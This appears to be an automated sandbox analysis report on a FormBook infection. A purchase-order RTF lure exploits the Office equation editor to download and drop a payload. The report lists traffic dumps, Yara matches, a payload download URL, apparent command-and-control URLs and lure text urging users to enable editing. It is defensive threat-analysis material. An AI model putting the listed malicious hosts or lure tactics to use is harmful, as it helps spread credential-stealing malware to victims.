d2 34 26 01 12 84 26 5d c6 f9 9d f3 49 0c 4b 52 46 5f 5f bf 0d 6d 93 a1 8f 32 3a d0 be f9 d3 d7 af 3f fd 5c 2f 78 eb 63 21 52 ee b5 cb de 8d 30 0e bb fa f7 2c cf eb 4f 3e fd df 57 1f 5f 47 2c 50 d2 04 cc cf eb f2 f1 80 91 54 dc df 98 92 24 a4 53 e7 c3 69 8a 27 f4 84 3c c5 42 90 64 c4 35 5f cb f5 21 e2 f8 39 8b 75 af 24 7f d4 3d ea 82 d6 1d ca 46 47 5d e5 46 fc 08 88 33 7c d4 55 c8 47 dd de 8e e3 3a ee 51 f7 5e ff fc 5e ff a8 ab 5b 3a 3e 17 80 ef a4 c9 08 06 fc 6c 74 33 7a 80 a8 a8 c1 fb b0 20 08 5f 72 4c 33 16 60 dd cb 75 70 71 50 a9 42 2b e9 2b f2 6d fa 38 ea 4e 53 9b 24 41 9c 85 92 e1 09 57 13 0a d5 06 8b 61 d8 b5 33 21 89 73 c2 1f 9c 61 e6 ef 3a 3b ce 8e 3e 9b 0d 36 ba 6f 77 b4 67 63 c2 b5 88 c4 58 83 37 ca 04 b5 47 38 01 fa 02 87 da db dd 8d 4e 94 25 81 b4 ac 41 ac c4 cc cf 10 d3 a8 c5 2d 3c 98 cf 6b 81 81 cd 5c b0 0b b5 26 fc 9c 67 a9 8c f4 67 98 0b ee 61 4b 90 09 7c a1 49 ea 19 09 9e 6a ef 01 61 d3 39 43 71 86 1f 47 86 39 1b 70 cc 39 90 79 2a 28 03 7d 39 90 44 7e 06 bb 36 a8 f5 f3 a7 8f 7f e9 70 c1 c0 7a 24 ba 30 84 69 ce 40 21 c1 58 b2 9b cd 16 ec 53 03 78 48 d1 40 19 b0 55 f6 04 07 c2 70 2d d7 82 31 4a ce 10 d8 43 e5 96 c5 70 8c c9 68 2c 4c 98 80 5d c7 cf c0 9e 86 00 70 d7 1c 14 1b 90 52 3e 07 1d 6f f7 df 61 0c 5d 18 d8 19 81 4c d2 98 20 3b 7a 13 d2 4e 08 80 a6 c5 7c e3 3b c8 94 28 99 ac db 92 c6 1c 30 2c 32 96 68 c2 c1 e0 04 17 c6 c2 ae a0 3e 33 2f 17 b1 ef fb ec 85 38 9e 99 95 82 b3 b9 82 f9 94 48 f5 03 74 00 1e a5 47 31 1a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Thu, 02 May 2024 06:29:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://jnkinteractive.co.kr/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 62 66 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 bc 19 4b 6f e3 c6 f9 5c ff 0a 8a 41 6d 32 4b 52 94 ec f5 ba 94 b9 8b c4 f1 16 6d 37 dd 60 1f 28 8a b5 11 8c c8 a1 34 36 c5 61 66 86 96 5d ae 80 a0 58 14 45 11 f4 92 16 cd 21 39 14 68 d1 4b 80 16 45 0f 39 04 fd 41 5d e7 3f f4 9b 21 25 52 22 15 af 1d 27 b0 41 72 66 be d7 7c ef 19 ed 77 de 7b 7c f0 ec d7 1f 1c 6a 63 31 89 ef 6f ec cb 97 16 a3 64 e4 eb a7 d4 fe c5 13 5d ce 61 14 de df f8 d1 fe 04 0b a4 05 63 c4 38 16 be fe fc d9 43 7b 4f d7 ba 8b 95 04 4d b0 af 9f 11 3c 4d 29 13 ba 16 d0 44 e0 04 20 a7 24 14 63 3f c4 67 24 c0 b6 1a 58 1a 49 88 20 28 b6 79 80 62 ec f7 14 9d 1a 99 2d 46 87 54 f0 ad 05 91 ad 09 3a b7 c9 04 8d b0 9d 32 2c 99 78 31 62 23 bc a5 10 05 11 31 be ff cd 1f 3f bb fc e2 3f 97 ff f8 f8 f5 df bf d6 2e ff f5 df cb 2f 5e 69 97 bf ff 4c bb fc cb ef 2e bf f8 44 db 7c 6b af df eb 0d b4 d7 ff fc ea f2 b7 5f 6a 97 7f 7e f5 fa d5 97 af ff fa b9 76 f9 87 bf 5d 7e fe ea f2 df 5f ed 77 0b 42 1b fb 31 49 4e 35 86 63 7f 2b 4c b8 e4 18 61 11 8c b7 b4 31 7c f9 5b dd ee 49 72 4a 40 30 86 02 41 ce b0 13 50 e7 94 15 a2 5c 85 c9 05 12 dc 99 a6 80 33 59 c1 d0 51 0c 24 13 24 b0 ae 89 8b 14 94 89 d2 34 26 01 12 84 26 5d c6 f9 9d f3 49 0c 4b 52 46 5f 5f bf 0d 6d 93 a1 8f 32 3a d0 be f9 d3 d7 af 3f fd 5c 2f 78 eb 63 21 52 ee b5 cb de 8d 30 0e bb fa f7 2c cf eb 4f 3e fd df 57 1f 5f 47 2c 50 d2 04 cc cf eb f2 f1 80 91 54 dc df 98 92 24 a4 53 e7 c3 69 8a 27 f4 84 3c c5 42 90 64 c4 35 5f cb f5 21 e2 f8 39 8b 75 af 24 7f d4 3d ea 82 d6 1d ca 46 47 5d e5 46 fc 08 88 33 7c d4 55 c8 47 dd de 8e e3 3a ee 51 f7 5e ff fc 5e ff a8 ab 5b 3a 3e 17 80 ef a4 c9 08 06 fc 6c 74 33 7a 80 a8 a8 c1 fb b0 20 08 5f 72 4c 33 16 60 dd cb 75 70 71 50 a9 42 2b e9 2b f2 6d fa 38 ea 4e 53 9b 24 41 9c 85 92 e1 09 57 13 0a d5 06 8b 61 d8 b5 33 21 89 73 c2 1f 9c 61 e6 ef 3a 3b ce 8e 3e 9b 0d 36 ba 6f 77 b4 67 63 c2 b5 88 c4 58 83 37 ca 04 b5 47 38 01 fa 02 87 da db dd 8d 4e 94 25 81 b4 ac 41 ac c4 cc cf 10 d3 a8 c5 2d 3c 98 cf 6b 81 81 cd 5c b0 0b b5 26 fc 9c 67 a9 8c f4 67 98 0b ee 61 4b 90 09 7c a1 49 ea 19 09 9e 6a ef 01 61 d3 39 43 71 86 1f 47 86 39 1b 70 cc 39 90 79 2a 28 03 7d 39 90 44 7e 06 bb 36 a8 f5 f3 a7 8f 7f e9 70 c1 c0 7a 24 ba 30 84 69 ce 40 21 c1 58 b2 9b cd 16 ec 53 03 78 48 d1 40 19 b0 55 f6 04 07 c2 70 2d d7 82 31 4a ce 10 d8 43 e5 96 c5 70 8c c9 68 2c 4c 98 80 5d c7 cf c0 9e 86 00 70 d7 1c 14 1b 90 52 3e 07 1d 6f f7 df 61 0c 5d 18 d8 19 81 4c d2 98 20 3b 7a 13 d2 4e 08 80 a6 c5 7c e3 3b c8 94 28 99 ac db 92 c6 1c 30 2c 32 96 68 c2 c1 e0 04 17 c6 c2 ae a0 3e 33 2f 17 b1 ef fb ec 85 38 9e 99 95 82 b3 b9 82 f9 94 48 f5 03 74 00 1e a5 47 31 1a

Source: dfrgui.exe, 00000008.00000002.847604345.0000000003550000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000036D0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://aceautocorp.com/ufuh/?pl=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: dfrgui.exe, 00000008.00000002.847604345.0000000003B98000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.0000000003D18000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://jnkinteractive.co.kr/ufuh/?pl=EbiRYmriZV7/HiPUOKeH2YEx7MyTQrgkk6gsaa5XxsDKCOU8Ma1/AS5omL8UMRh
Source: dfrgui.exe, 00000008.00000002.847604345.00000000036E2000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.0000000003862000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://mrart.co.kr/ufuh/?pl=dHCsNlEiGcw6UpYNsSDwUGw5CVcYr5PGduxYMR
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847699564.0000000004E39000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.riveramayahousing.com
Source: eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.000000000403C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.riveramayahousing.com/?fp=ueCFDhaecdvYVx8hbKh0614IfmGTEHuPdqyahOjyxp6XOetDiexINCTsAPUMAD2
Source: eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847699564.0000000004E39000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.riveramayahousing.com/ufuh/
Source: dfrgui.exe, 00000008.00000002.847604345.0000000002D76000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.0000000002EF6000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.479701614.0000000001BA6000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.searchvity.com/
Source: dfrgui.exe, 00000008.00000002.847604345.0000000002D76000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.0000000002EF6000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.479701614.0000000001BA6000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.searchvity.com/?dn=
Source: dfrgui.exe, 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmp, sqlite3.dll.8.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: dfrgui.exe, 00000008.00000002.847604345.0000000003874000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000039F4000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-114.png
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-57.png
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-72.png
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/styles/reset.css
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/images/additional-pages-hero-shape.webp
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/logo/logo-loopia-white.svg
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/style/2022-extra-pages.css
Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.349581619.000000000066F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/opp.scr
Source: EQNEDT32.EXE, 00000002.00000002.349581619.000000000066F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/opp.scrhhC:
Source: EQNEDT32.EXE, 00000002.00000002.349581619.000000000066F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/opp.scrj
Source: 13d6pS3.8.dr	String found in binary or memory: https://www.google.com/favicon.ico
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-NP3MFSK
Source: dfrgui.exe, 00000008.00000002.847604345.0000000003A06000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.0000000003B86000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.ibistradingco.com/ufuh/?pl=hcZX01VSmexgOFZwe0PcJnDn64JizU3MIAbqwzBBfnOXJDQ4bl307S3dnZeIW
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park
Source: dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb

Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163

Source: unknown

HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49163 version: TLS 1.2

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 6.2.op55336.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.op55336.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.479625649.0000000000350000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847226726.00000000003A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847107222.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.411272581.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.847699564.0000000004DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847192255.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.416629798.0000000001B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.847416646.0000000003360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: MOQ010524Purchase order.doc, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 6.2.op55336.scr.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 6.2.op55336.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 5.2.op55336.scr.3506390.5.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 5.2.op55336.scr.3506390.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 5.2.op55336.scr.d40000.1.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 5.2.op55336.scr.d40000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 5.2.op55336.scr.24a19c4.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 5.2.op55336.scr.249f184.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0000000E.00000002.479625649.0000000000350000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.847226726.00000000003A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.847107222.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.411272581.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.847699564.0000000004DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.847192255.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.351612822.0000000000D40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects downloader injector Author: ditekSHen
Source: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.416629798.0000000001B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.847416646.0000000003360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4

Screenshot OCR: Enable editing from the yellow bar above.The independent auditors' opinion says the financial state

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\opp[1].scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\op55336.scr			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

